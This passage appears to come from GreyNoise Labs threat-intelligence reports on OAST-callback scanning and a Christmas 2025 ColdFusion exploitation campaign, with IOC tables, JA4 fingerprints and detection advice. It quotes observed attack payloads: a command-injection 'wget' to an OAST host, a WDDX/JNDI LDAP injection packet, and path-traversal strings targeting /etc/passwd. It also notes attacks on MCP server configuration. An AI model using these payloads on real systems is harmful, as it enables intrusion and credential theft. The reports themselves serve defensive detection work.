<pre><code>submit-url=%2Fsyscmd.htm&amp;sysCmdselect=5&amp;save_apply=Run+Command&amp;sysCmd=wget+http://[OAST].oast.pro</code></pre>
<p>This activity was distributed across residential and hosting ASNs with no clear clustering.</p>
</section>
</section>
<section id="infrastructure-analysis" class="level2">
<h2 class="anchored" data-anchor-id="infrastructure-analysis">Infrastructure Analysis</h2>
<section id="ja4-fingerprint-clusters" class="level3">
<h3 class="anchored" data-anchor-id="ja4-fingerprint-clusters">JA4 Fingerprint Clusters</h3>
<table class="caption-top table">
<colgroup>
<col style="width: 12%">
<col style="width: 12%">
<col style="width: 20%">
<col style="width: 10%">
<col style="width: 43%">
</colgroup>
<thead>
<tr class="header">
<th>JA4T</th>
<th>JA4H</th>
<th>Sessions</th>
<th>IPs</th>
<th>Infrastructure Type</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>64240_2-4-8-1-3_1460_7</td>
<td>ge11nn06en00_0e5d97bc8ad6</td>
<td>1,088</td>
<td>5</td>
<td>Standard Linux</td>
</tr>
<tr class="even">
<td>65495_2-4-8-1-3_65495_7</td>
<td>ge11nn06en00_0e5d97bc8ad6</td>
<td>886</td>
<td>7</td>
<td>Tunneled/Virtual</td>
</tr>
<tr class="odd">
<td>64240_2-4-8-1-3_1460_7</td>
<td>po11nn060000_4ea4093e6290</td>
<td>622</td>
<td>8</td>
<td>Standard Linux</td>
</tr>
<tr class="even">
<td>65495_2-4-8-1-3_65495_7</td>
<td>po11nn060000_4ea4093e6290</td>
<td>550</td>
<td>12</td>
<td>Tunneled/Virtual</td>
</tr>
</tbody>
</table>
<p>The same JA4H fingerprints appearing with both standard and non-standard JA4T values indicates the same HTTP tooling deployed across different network environments.</p>
</section>
<section id="oast-provider-distribution" class="level3">
<h3 class="anchored" data-anchor-id="oast-provider-distribution">OAST Provider Distribution</h3>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Provider</th>
<th>Unique Domains</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>oast.site</td>
<td>1,618</td>
</tr>
<tr class="even">
<td>oast.online</td>
<td>658</td>
</tr>
<tr class="odd">
<td>oast.me</td>
<td>473</td>
</tr>
<tr class="even">
<td>oast.fun</td>
<td>261</td>
</tr>
<tr class="odd">
<td>oast.pro</td>
<td>257</td>
</tr>
<tr class="even">
<td>oast.live</td>
<td>195</td>
</tr>
<tr class="odd">
<td>dnslog.cn</td>
<td>2</td>
</tr>
</tbody>
</table>
<p>All providers are Interactsh infrastructure except for 2 <code>dnslog.cn</code> domains. The use of multiple Interactsh TLDs within single campaigns suggests operational security measures to avoid domain-based blocking.</p>
</section>
</section>
<section id="attribution-assessment" class="level2">
<h2 class="anchored" data-anchor-id="attribution-assessment">Attribution Assessment</h2>
<p><strong>Confidence: Medium</strong></p>
<p>The three primary campaigns show distinct operational characteristics:</p>
<ol type="1">
<li><p><strong>j332t (MCP Server)</strong>: Single IP, single day, novel attack vector targeting AI/LLM infrastructure. The specificity of the payload suggests an operator with knowledge of MCP protocol implementations. OVH hosting provides limited attribution value.</p></li>
<li><p><strong>qsuzo (React2Shell)</strong>: Multi-IP coordination across three ASNs suggests either a distributed scanning framework or an initial access broker operation. The use of Cloudflare edge IPs complicates origin attribution.</p></li>
<li><p><strong>MEVSPACE activity</strong>: Bulletproof hosting origin is consistent with professional scanning operations. The multi-vector approach suggests automated vulnerability assessment tooling rather than targeted exploitation.</p></li>
</ol>
<p>The decoded OAST campaign identifiers (44 unique) do not show clear correlation between otherwise distinct fingerprint clusters, suggesting these campaigns are operationally independent.</p>
</section>
<section id="network-iocs" class="level2">
<h2 class="anchored" data-anchor-id="network-iocs">Network IOCs</h2>
<section id="primary-ips-200-sessions" class="level3">
<h3 class="anchored" data-anchor-id="primary-ips-200-sessions">Primary IPs (&gt;200 sessions)</h3>
<table class="caption-top table">
<thead>
<tr class="header">
<th>IP</th>
<th>ASN</th>
<th>Org</th>
<th>Sessions</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td><code>51[.]77[.]116[.]46</code></td>
<td>AS16276</td>
<td>OVH SAS</td>
<td>16,814</td>
</tr>
<tr class="even">
<td><code>94[.]26[.]88[.]61</code></td>
<td>AS201814</td>
<td>MEVSPACE</td>
<td>4,160</td>
</tr>
<tr class="odd">
<td><code>195[.]24[.]237[.]218</code></td>
<td>AS60223</td>
<td>Netiface</td>
<td>1,952</td>
</tr>
<tr class="even">
<td><code>104[.]28[.]246[.]4</code></td>
<td>AS13335</td>
<td>Cloudflare</td>
<td>944</td>
</tr>
<tr class="odd">
<td><code>209[.]38[.]59[.]248</code></td>
<td>AS14061</td>
<td>DigitalOcean</td>
<td>763</td>
</tr>
<tr class="even">
<td><code>139[.]59[.]217[.]230</code></td>
<td>AS14061</td>
<td>DigitalOcean</td>
<td>717</td>
</tr>
<tr class="odd">
<td><code>198[.]98[.]61[.]39</code></td>
<td>AS53667</td>
<td>FranTech</td>
<td>335</td>
</tr>
<tr class="even">
<td><code>188[.]212[.]125[.]110</code></td>
<td>AS202448</td>
<td>MVPS LTD</td>
<td>328</td>
</tr>
<tr class="odd">
<td><code>80[.]191[.]90[.]190</code></td>
<td>AS58224</td>
<td>Iran Telecom</td>
<td>323</td>
</tr>
<tr class="even">
<td><code>185[.]181[.]183[.]41</code></td>
<td>AS206596</td>
<td>Iran (CRCIS)</td>
<td>308</td>
</tr>
</tbody>
</table>
</section>
<section id="ja4-fingerprints-for-detection" class="level3">
<h3 class="anchored" data-anchor-id="ja4-fingerprints-for-detection">JA4 Fingerprints for Detection</h3>
<pre><code># JA4T - Non-standard MSS (bulletproof/tunneled)
65495_2-4-8-1-3_65495_7

# JA4T - Standard Linux
64240_2-4-8-1-3_1460_7

# JA4H - Common HTTP signature across campaigns
ge11nn06en00_0e5d97bc8ad6_000000000000_000000000000
po11nn060000_4ea4093e6290_000000000000_000000000000</code></pre>
</section>
</section>
<section id="detection-recommendations" class="level2">
<h2 class="anchored" data-anchor-id="detection-recommendations">Detection Recommendations</h2>
<ol type="1">
<li><p><strong>Block or alert on MSS 65495 TCP connections</strong> - This non-standard value is highly anomalous and correlates with bulletproof hosting infrastructure.</p></li>
<li><p><strong>Monitor for MCP server configuration manipulation</strong> - Payloads containing <code>mcpServerConfig</code> with command execution should trigger investigation.</p></li>
<li><p><strong>Detect React2Shell patterns</strong> - Look for <code>__proto__</code> combined with <code>child_process</code> in request bodies.</p></li>
<li><p><strong>Prioritize patching for:</strong></p>
<ul>
<li>CVE-2025-55182 (React2Shell)</li>
<li>CVE-2021-44228 (Log4Shell)</li>
<li>XStream deserialization vulnerabilities</li>
</ul></li>
<li><p><strong>Consider blocking Interactsh callback domains at the network perimeter</strong> - The oast.* TLDs are rarely used legitimately outside of authorized security testing.</p></li>
</ol>
</section>
<section id="gnql-queries" class="level2">
<h2 class="anchored" data-anchor-id="gnql-queries">GNQL Queries</h2>
<pre><code># All OAST activity in the past 7 days
tags:"Contains Well-known Out-of-band Interaction Domain" last_seen:7d

# MEVSPACE infrastructure
metadata.asn:AS201814 last_seen:7d

# React2Shell exploitation attempts
cve:CVE-2025-55182 last_seen:7d</code></pre>


</section>

 ]]></description>
  <category>OAST</category>
  <category>MCP</category>
  <category>projectdiscovery</category>
  <category>interactsh</category>
  <category>rce</category>
  <category>iocs</category>
  <category>detection engineering</category>
  <category>cybersecurity</category>
  <category>AI-Generated</category>
  <guid>https://www.labs.greynoise.io/grimoire/2026-01-10-weekly-oast-report/</guid>
  <pubDate>Sat, 10 Jan 2026 00:00:00 GMT</pubDate>
  <media:content url="https://www.labs.greynoise.io/grimoire/2026-01-10-weekly-oast-report/media/cover.png" medium="image" type="image/png" height="116" width="144"/>
</item>
<item>
  <title>ColdFusion++ Christmas Campaign: Catching a Coordinated Callback Calamity</title>
  <dc:creator>hrbrmstr </dc:creator>
  <link>https://www.labs.greynoise.io/grimoire/2025-12-26-coldfusion/</link>
  <description><![CDATA[ 

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56PTMZZ" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->





<blockquote class="blockquote">
<p><strong>UPDATE:</strong> Further analysis revealed the ColdFusion campaign represents a small fraction of a much larger operation. The two primary IPs (134.122.136.119, 134.122.136.96) generated over 2.5 million requests targeting 767 distinct CVEs across 47+ technology stacks, using nearly 10,000 unique Interactsh OAST domains. This appears to be a broad, well-coordinated initial access broker campaign. Details in the Expanded Campaign Scope section below.</p>
</blockquote>
<p>GreyNoise observed a coordinated exploitation campaign <a href="https://viz.greynoise.io/query/CVE-2023-26359%20CVE-2023-38205%20CVE-2024-20767">targeting Adobe ColdFusion</a> servers over the Christmas 2025 holiday period. The attack appears to be a single threat actor operating from Japan-based infrastructure (CTG Server Limited). This source was responsible for ~98% of attack traffic, systematically exploiting 10+ ColdFusion CVEs from 2023-2024.</p>
<p><img src="https://www.labs.greynoise.io/grimoire/2025-12-26-coldfusion/media/cover.png" class="img-fluid"></p>
<p>The campaign leveraged ProjectDiscovery Interactsh for out-of-band callback verification, with JNDI/LDAP injection as the primary attack vector. The deliberate timing during Christmas Day (68% of traffic) suggests intentional targeting during reduced security monitoring periods.</p>
<blockquote class="blockquote">
<p><strong>Compiled IoC data files can be found at <a href="https://github.com/GreyNoise-Intelligence/gn-research-supplemental-data/tree/main/2025-12-26-coldfusion" class="uri">https://github.com/GreyNoise-Intelligence/gn-research-supplemental-data/tree/main/2025-12-26-coldfusion</a>.</strong></p>
</blockquote>
<hr>
<section id="campaign-statistics" class="level2">
<h2 class="anchored" data-anchor-id="campaign-statistics">Campaign Statistics</h2>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Metric</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Total Requests</td>
<td>5,940</td>
</tr>
<tr class="even">
<td>Unique Source IPs</td>
<td>8</td>
</tr>
<tr class="odd">
<td>Unique Callback Domains</td>
<td>190</td>
</tr>
<tr class="even">
<td>CVEs Targeted</td>
<td>10+</td>
</tr>
<tr class="odd">
<td>Countries Targeted</td>
<td>20</td>
</tr>
<tr class="even">
<td>Peak Activity</td>
<td>December 25, 2025</td>
</tr>
</tbody>
</table>
<section id="target-country-breakodown" class="level3">
<h3 class="anchored" data-anchor-id="target-country-breakodown">Target Country Breakodown</h3>
<table class="caption-top table">
<thead>
<tr class="header">
<th style="text-align: left;">Dest. Country</th>
<th style="text-align: right;"># Sessions</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td style="text-align: left;">United States</td>
<td style="text-align: right;">4,044</td>
</tr>
<tr class="even">
<td style="text-align: left;">Spain</td>
<td style="text-align: right;">753</td>
</tr>
<tr class="odd">
<td style="text-align: left;">India</td>
<td style="text-align: right;">128</td>
</tr>
<tr class="even">
<td style="text-align: left;">Canada</td>
<td style="text-align: right;">100</td>
</tr>
<tr class="odd">
<td style="text-align: left;">Chile</td>
<td style="text-align: right;">100</td>
</tr>
<tr class="even">
<td style="text-align: left;">Germany</td>
<td style="text-align: right;">100</td>
</tr>
<tr class="odd">
<td style="text-align: left;">Pakistan</td>
<td style="text-align: right;">100</td>
</tr>
<tr class="even">
<td style="text-align: left;">Cambodia</td>
<td style="text-align: right;">51</td>
</tr>
<tr class="odd">
<td style="text-align: left;">Ecuador</td>
<td style="text-align: right;">50</td>
</tr>
<tr class="even">
<td style="text-align: left;">France</td>
<td style="text-align: right;">50</td>
</tr>
<tr class="odd">
<td style="text-align: left;">Japan</td>
<td style="text-align: right;">50</td>
</tr>
<tr class="even">
<td style="text-align: left;">Panama</td>
<td style="text-align: right;">50</td>
</tr>
<tr class="odd">
<td style="text-align: left;">Poland</td>
<td style="text-align: right;">50</td>
</tr>
<tr class="even">
<td style="text-align: left;">South Africa</td>
<td style="text-align: right;">50</td>
</tr>
<tr class="odd">
<td style="text-align: left;">Ghana</td>
<td style="text-align: right;">48</td>
</tr>
<tr class="even">
<td style="text-align: left;">Kenya</td>
<td style="text-align: right;">48</td>
</tr>
<tr class="odd">
<td style="text-align: left;">Peru</td>
<td style="text-align: right;">48</td>
</tr>
<tr class="even">
<td style="text-align: left;">Sweden</td>
<td style="text-align: right;">47</td>
</tr>
<tr class="odd">
<td style="text-align: left;">United Kingdom</td>
<td style="text-align: right;">44</td>
</tr>
<tr class="even">
<td style="text-align: left;">New Zealand</td>
<td style="text-align: right;">29</td>
</tr>
</tbody>
</table>
<hr>
</section>
</section>
<section id="threat-actor-infrastructure" class="level2">
<h2 class="anchored" data-anchor-id="threat-actor-infrastructure">Threat Actor Infrastructure</h2>
<section id="primary" class="level3">
<h3 class="anchored" data-anchor-id="primary">Primary</h3>
<p>The dominant threat actor operates from two IPs on CTG Server Limited, a Japan-based hosting provider.</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>IP Address</th>
<th>Requests</th>
<th>Percentage</th>
<th>ASN</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>134.122.136.119</td>
<td>3,188</td>
<td>53.7%</td>
<td>AS152194</td>
</tr>
<tr class="even">
<td>134.122.136.96</td>
<td>2,683</td>
<td>45.2%</td>
<td>AS152194</td>
</tr>
</tbody>
</table>
<p><strong>Behavioral Indicators:</strong> - Automated scanning with 1-5 second request intervals - Both IPs operated concurrently 41% of the time (coordinated infrastructure) - Cycled through 11 distinct attack types per target - Shared Interactsh session (subdomain prefixes <code>d56*</code>/<code>d57*</code>)</p>
</section>
</section>
<section id="secondary-actors" class="level2">
<h2 class="anchored" data-anchor-id="secondary-actors">Secondary Actors</h2>
<table class="caption-top table">
<colgroup>
<col style="width: 23%">
<col style="width: 26%">
<col style="width: 17%">
<col style="width: 19%">
<col style="width: 13%">
</colgroup>
<thead>
<tr class="header">
<th>IP Address</th>
<th>Organization</th>
<th>Country</th>
<th>Requests</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>23.234.85.20</td>
<td>tzulo, inc.</td>
<td>Canada</td>
<td>34</td>
<td>Double-encapsulated traffic (VPN)</td>
</tr>
<tr class="even">
<td>38.225.206.87</td>
<td>Kennies Star India</td>
<td>India</td>
<td>12</td>
<td>Paired with .88, identical patterns</td>
</tr>
<tr class="odd">
<td>38.225.206.88</td>
<td>Kennies Star India</td>
<td>India</td>
<td>11</td>
<td>Paired with .87, identical patterns</td>
</tr>
<tr class="even">
<td>172.81.132.99</td>
<td>DataWagon LLC</td>
<td>United States</td>
<td>7</td>
<td>—</td>
</tr>
<tr class="odd">
<td>172.68.119.26</td>
<td>Cloudflare, Inc.</td>
<td>Japan</td>
<td>3</td>
<td>CF-proxied traffic</td>
</tr>
<tr class="even">
<td>162.159.110.4</td>
<td>Cloudflare, Inc.</td>
<td>Japan</td>
<td>2</td>
<td>CF-proxied traffic</td>
</tr>
</tbody>
</table>
<section id="ctg-server-limited-as152194-background" class="level3">
<h3 class="anchored" data-anchor-id="ctg-server-limited-as152194-background">CTG Server Limited (AS152194) Background</h3>
<p>CTG Server Limited is a Hong Kong-registered hosting provider operating AS152194. The network controls approximately 201,000 IPv4 addresses across 672 prefixes despite being only about one year old.</p>
<p>Relevant OSINT findings:</p>
<ul>
<li><strong>Silent Push (May 2025):</strong> Identified AS152194 as the top ASN hosting phishing domains in the FUNNULL CDN infrastructure, which targeted luxury brands including Chanel, Cartier, LVMH, and Tiffany.</li>
<li><strong>BGP.HE.NET:</strong> AS152194 announces bogon routes, which is typically a red flag for network hygiene issues.</li>
<li><strong>CleanTalk:</strong> Multiple IP ranges within AS152194 appear on spam blacklists.</li>
</ul>
<p>The combination of Hong Kong jurisdiction, rapid IP space acquisition, and documented abuse associations suggests this provider operates with limited abuse enforcement.</p>
<hr>
</section>
</section>
<section id="targeted-vulnerabilities" class="level2">
<h2 class="anchored" data-anchor-id="targeted-vulnerabilities">Targeted Vulnerabilities</h2>
<p>The campaign exploited the full spectrum of 2023-2024 ColdFusion vulnerabilities:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>CVE</th>
<th>Type</th>
<th>Requests</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Generic RCE</td>
<td>Remote Code Execution</td>
<td>1,403</td>
</tr>
<tr class="even">
<td>Generic LFI</td>
<td>Local File Inclusion</td>
<td>904</td>
</tr>
<tr class="odd">
<td>CVE-2023-26359</td>
<td>Deserialization RCE</td>
<td>833</td>
</tr>
<tr class="even">
<td>CVE-2023-38205</td>
<td>Access Control Bypass</td>
<td>654</td>
</tr>
<tr class="odd">
<td>CVE-2023-44353</td>
<td>Remote Code Execution</td>
<td>611</td>
</tr>
<tr class="even">
<td>CVE-2023-38203</td>
<td>Remote Code Execution</td>
<td>346</td>
</tr>
<tr class="odd">
<td>CVE-2023-38204</td>
<td>Remote Code Execution</td>
<td>346</td>
</tr>
<tr class="even">
<td>CVE-2023-29298</td>
<td>Access Control Bypass</td>
<td>342</td>
</tr>
<tr class="odd">
<td>CVE-2023-29300</td>
<td>Remote Code Execution</td>
<td>176</td>
</tr>
<tr class="even">
<td>CVE-2023-26347</td>
<td>Access Control Bypass</td>
<td>171</td>
</tr>
<tr class="odd">
<td>CVE-2024-20767</td>
<td>Arbitrary File Read</td>
<td>146</td>
</tr>
<tr class="even">
<td>CVE-2023-44352</td>
<td>Reflected XSS</td>
<td>8</td>
</tr>
</tbody>
</table>
<hr>
</section>
<section id="payload-analysis" class="level2">
<h2 class="anchored" data-anchor-id="payload-analysis">Payload Analysis</h2>
<section id="attack-distribution" class="level3">
<h3 class="anchored" data-anchor-id="attack-distribution">Attack Distribution</h3>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Payload Type</th>
<th>Count</th>
<th>Percentage</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>JNDI/LDAP Injection</td>
<td>189</td>
<td>80%</td>
<td>CVE-2023-26359 exploitation</td>
</tr>
<tr class="even">
<td>WDDX Deserialization</td>
<td>28</td>
<td>12%</td>
<td>JdbcRowSetImpl gadget chain</td>
</tr>
<tr class="odd">
<td>Path Traversal/LFI</td>
<td>10</td>
<td>4%</td>
<td>Credential harvesting</td>
</tr>
<tr class="even">
<td>JSP Code Injection</td>
<td>6</td>
<td>3%</td>
<td>CVE-2018-15961 verification</td>
</tr>
<tr class="odd">
<td>Command Injection</td>
<td>1</td>
<td>&lt;1%</td>
<td>Direct RCE</td>
</tr>
</tbody>
</table>
</section>
<section id="jndi-injection-details" class="level3">
<h3 class="anchored" data-anchor-id="jndi-injection-details">JNDI Injection Details</h3>
<p>The primary attack vector uses WDDX deserialization to trigger JNDI lookups:</p>
<div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode xml code-with-copy"><code class="sourceCode xml"><span id="cb1-1">&lt;<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">wddxPacket</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;"> version=</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'1.0'</span>&gt;</span>
<span id="cb1-2">  &lt;<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">header</span>/&gt;</span>
<span id="cb1-3">  &lt;<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">data</span>&gt;</span>
<span id="cb1-4">    &lt;<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">struct</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;"> type=</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'com.sun.rowset.JdbcRowSetImpl'</span>&gt;</span>
<span id="cb1-5">      &lt;<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">var</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;"> name=</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'dataSourceName'</span>&gt;</span>
<span id="cb1-6">        &lt;<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">string</span>&gt;ldap://[callback_domain]/[path]&lt;/<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">string</span>&gt;</span>
<span id="cb1-7">      &lt;/<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">var</span>&gt;</span>
<span id="cb1-8">      &lt;<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">var</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;"> name=</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'autoCommit'</span>&gt;</span>
<span id="cb1-9">        &lt;<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">boolean</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;"> value=</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'true'</span>/&gt;</span>
<span id="cb1-10">      &lt;/<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">var</span>&gt;</span>
<span id="cb1-11">    &lt;/<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">struct</span>&gt;</span>
<span id="cb1-12">  &lt;/<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">data</span>&gt;</span>
<span id="cb1-13">&lt;/<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">wddxPacket</span>&gt;</span></code></pre></div>
<p><strong>Gadget Chain:</strong> <code>com.sun.rowset.JdbcRowSetImpl</code> (JNDI injection via <code>dataSourceName</code>)</p>
</section>
<section id="lfi-targets" class="level3">
<h3 class="anchored" data-anchor-id="lfi-targets">LFI Targets</h3>
<pre><code>../../../../../../../../../../../etc/passwd
i/../lib/password.properties</code></pre>
<hr>
</section>
</section>
<section id="callback-infrastructure" class="level2">
<h2 class="anchored" data-anchor-id="callback-infrastructure">Callback Infrastructure</h2>
<section id="interactsh-oast-platform" class="level3">
<h3 class="anchored" data-anchor-id="interactsh-oast-platform">Interactsh OAST Platform</h3>
<p>The threat actor uses <strong>ProjectDiscovery Interactsh</strong> for out-of-band verification of successful exploitation.</p>
<p><strong>Services Used:</strong></p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Service</th>
<th>Callbacks</th>
<th>Percentage</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>oast.pro</td>
<td>42</td>
<td>22%</td>
</tr>
<tr class="even">
<td>oast.site</td>
<td>38</td>
<td>20%</td>
</tr>
<tr class="odd">
<td>oast.me</td>
<td>34</td>
<td>18%</td>
</tr>
<tr class="even">
<td>oast.online</td>
<td>27</td>
<td>14%</td>
</tr>
<tr class="odd">
<td>oast.fun</td>
<td>25</td>
<td>13%</td>
</tr>
<tr class="even">
<td>oast.live</td>
<td>24</td>
<td>13%</td>
</tr>
</tbody>
</table>
</section>
<section id="subdomain-pattern-analysis" class="level3">
<h3 class="anchored" data-anchor-id="subdomain-pattern-analysis">Subdomain Pattern Analysis</h3>
<p>All callback subdomains follow the Interactsh format: <strong>33-character alphanumeric string</strong></p>
<p><strong>Actor Correlation via Prefix:</strong></p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Prefix</th>
<th>Actor</th>
<th>Infrastructure</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td><code>d56*</code> / <code>d57*</code></td>
<td>CTG Server Limited</td>
<td>Primary (186 callbacks)</td>
</tr>
<tr class="even">
<td><code>d4t*</code></td>
<td>tzulo, inc.</td>
<td>Secondary (2 callbacks)</td>
</tr>
<tr class="odd">
<td><code>d4r*</code></td>
<td>Cloudflare-proxied</td>
<td>Secondary (2 callbacks)</td>
</tr>
</tbody>
</table>
<p><strong>LDAP Paths Observed:</strong> - <code>/rcrzfd</code> — 97 occurrences - <code>/zdfzfd</code> — 92 occurrences</p>
<p>These paths likely differentiate payload variants or target tracking.</p>
<hr>
</section>
</section>
<section id="network-fingerprints" class="level2">
<h2 class="anchored" data-anchor-id="network-fingerprints">Network Fingerprints</h2>
<section id="ja4t-tcp-signatures" class="level3">
<h3 class="anchored" data-anchor-id="ja4t-tcp-signatures">JA4T (TCP) Signatures</h3>
<table class="caption-top table">
<thead>
<tr class="header">
<th>JA4T Fingerprint</th>
<th>Count</th>
<th>Interpretation</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td><code>64240_2-4-8-1-3_1460_7</code></td>
<td>5,784</td>
<td>Linux, standard MTU</td>
</tr>
<tr class="even">
<td><code>64240_2-4-8-1-3_1360_7</code></td>
<td>50</td>
<td>Linux, VPN/tunnel</td>
</tr>
<tr class="odd">
<td><code>64620_2-4-8-1-3_1436_7</code></td>
<td>44</td>
<td>Linux, PPPoE</td>
</tr>
<tr class="even">
<td><code>64740_2-4-8-1-3_1245_7</code></td>
<td>34</td>
<td>Linux, double-encapsulated</td>
</tr>
<tr class="odd">
<td><code>65495_2-4-8-1-3_65495_7</code></td>
<td>23</td>
<td>Linux, loopback (proxy)</td>
</tr>
<tr class="even">
<td><code>65535_2-4-8-1-3_1460_13</code></td>
<td>5</td>
<td>Windows</td>
</tr>
</tbody>
</table>
</section>
<section id="ja4h-http-signatures" class="level3">
<h3 class="anchored" data-anchor-id="ja4h-http-signatures">JA4H (HTTP) Signatures</h3>
<table class="caption-top table">
<colgroup>
<col style="width: 42%">
<col style="width: 16%">
<col style="width: 19%">
<col style="width: 21%">
</colgroup>
<thead>
<tr class="header">
<th>JA4H Fingerprint</th>
<th>Count</th>
<th>Method</th>
<th>Headers</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td><code>po11nn060000_4ea4093e6290_000000000000_000000000000</code></td>
<td>3,382</td>
<td>POST</td>
<td>6</td>
</tr>
<tr class="even">
<td><code>ge11nn040000_532a1ee47909_000000000000_000000000000</code></td>
<td>1,295</td>
<td>GET</td>
<td>4</td>
</tr>
<tr class="odd">
<td><code>ge11nn06en00_0e5d97bc8ad6_000000000000_000000000000</code></td>
<td>1,257</td>
<td>GET</td>
<td>6</td>
</tr>
</tbody>
</table>
<hr>
</section>
</section>
<section id="expanded-campaign-scope" class="level2">
<h2 class="anchored" data-anchor-id="expanded-campaign-scope">Expanded Campaign Scope</h2>
<p>The ColdFusion activity described above represents approximately 0.2% of the total scanning operation from these two IPs. Analysis of the full dataset reveals a comprehensive vulnerability reconnaissance campaign.</p>
<section id="full-campaign-statistics" class="level3">
<h3 class="anchored" data-anchor-id="full-campaign-statistics">Full Campaign Statistics</h3>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Metric</th>
<th>ColdFusion Campaign</th>
<th>Full Campaign</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Total Requests</td>
<td>5,940</td>
<td>2,540,552</td>
</tr>
<tr class="even">
<td>CVEs Targeted</td>
<td>10+</td>
<td>767</td>
</tr>
<tr class="odd">
<td>Attack Signatures</td>
<td>12</td>
<td>1,288</td>
</tr>
<tr class="even">
<td>JA4H Fingerprints</td>
<td>5</td>
<td>4,118</td>
</tr>
<tr class="odd">
<td>OAST Domains</td>
<td>190</td>
<td>~10,000</td>
</tr>
</tbody>
</table>
</section>
<section id="cve-coverage-by-year" class="level3">
<h3 class="anchored" data-anchor-id="cve-coverage-by-year">CVE Coverage by Year</h3>
<p>The 767 targeted CVEs span from 2001 to 2025:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Year</th>
<th>Unique CVEs</th>
<th>Requests</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>2024</td>
<td>142</td>
<td>33,744</td>
</tr>
<tr class="even">
<td>2023</td>
<td>107</td>
<td>29,762</td>
</tr>
<tr class="odd">
<td>2022</td>
<td>112</td>
<td>49,148</td>
</tr>
<tr class="even">
<td>2021</td>
<td>99</td>
<td>46,385</td>
</tr>
<tr class="odd">
<td>2020</td>
<td>43</td>
<td>24,552</td>
</tr>
<tr class="even">
<td>2019</td>
<td>41</td>
<td>29,551</td>
</tr>
<tr class="odd">
<td>2018</td>
<td>58</td>
<td>53,623</td>
</tr>
<tr class="even">
<td>2017</td>
<td>19</td>
<td>25,987</td>
</tr>
<tr class="odd">
<td>2010-2016</td>
<td>80</td>
<td>109,169</td>
</tr>
<tr class="even">
<td>Pre-2010</td>
<td>13</td>
<td>17,114</td>
</tr>
<tr class="odd">
<td>2025</td>
<td>51</td>
<td>11,468</td>
</tr>
</tbody>
</table>
</section>
<section id="top-targeted-cves" class="level3">
<h3 class="anchored" data-anchor-id="top-targeted-cves">Top Targeted CVEs</h3>
<table class="caption-top table">
<thead>
<tr class="header">
<th>CVE</th>
<th>Requests</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>CVE-2022-26134 (Confluence OGNL)</td>
<td>12,481</td>
</tr>
<tr class="even">
<td>CVE-2014-6271 (Shellshock)</td>
<td>8,527</td>
</tr>
<tr class="odd">
<td>CVE-2016-6195 (vBulletin SQLi)</td>
<td>5,604</td>
</tr>
<tr class="even">
<td>CVE-2002-1131 (SquirrelMail XSS)</td>
<td>5,536</td>
</tr>
<tr class="odd">
<td>CVE-2013-2251 (Struts 2 RCE)</td>
<td>5,510</td>
</tr>
<tr class="even">
<td>CVE-2013-2134 (Struts 2 OGNL)</td>
<td>5,284</td>
</tr>
<tr class="odd">
<td>CVE-2010-2035 (Joomla LFI)</td>
<td>5,148</td>
</tr>
<tr class="even">
<td>CVE-2017-10271 (WebLogic)</td>
<td>4,836</td>
</tr>
<tr class="odd">
<td>CVE-2022-47945 (ThinkPHP LFI)</td>
<td>4,784</td>
</tr>
<tr class="even">
<td>CVE-2018-11776 (Struts 2 RCE)</td>
<td>4,298</td>
